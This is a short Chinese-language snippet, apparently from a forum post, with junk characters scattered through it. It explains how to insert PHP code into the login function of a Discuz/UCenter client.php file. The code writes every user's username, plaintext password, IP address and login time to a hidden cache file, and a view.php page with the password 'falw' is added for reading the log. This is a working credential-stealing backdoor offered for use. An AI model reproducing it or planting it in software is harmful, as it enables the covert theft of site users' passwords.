修改uc_client目录下的client.php 在+ o4 m% l' G7 Z
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
" x' ?- l- j2 W; f3 k下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
' T3 `8 e! P) W/ H你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw( I, r" N+ d6 s$ w* z
if(getenv('HTTP_CLIENT_IP')) { * s8 F2 q2 B9 D. Z' j* |
$onlineip = getenv('HTTP_CLIENT_IP');
( E% k2 f3 h3 o: @9 d: x} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
7 \4 O! q' r& n+ p$ }$onlineip = getenv('HTTP_X_FORWARDED_FOR');$ L- X5 e F) P. X3 t
} elseif(getenv('REMOTE_ADDR')) { * m6 G% |3 k/ H( H' q
$onlineip = getenv('REMOTE_ADDR');
. m3 n/ Q }, ]6 f6 T} else { % J5 e3 \/ G5 k9 R2 S
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
3 v- t) \$ {( H* a4 `6 O5 I, f}; N5 y: b5 S# |" @# x
$showtime=date("Y-m-d H:i:s");
8 ~) V8 Z' h7 |% s. J1 v+ G T $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
( n1 h) M7 a" O j6 p2 Y( p9 k $handle=fopen('./data/cache/csslog.php','a+');
& `$ O+ m* p9 h/ X $write=fwrite($handle,$record); |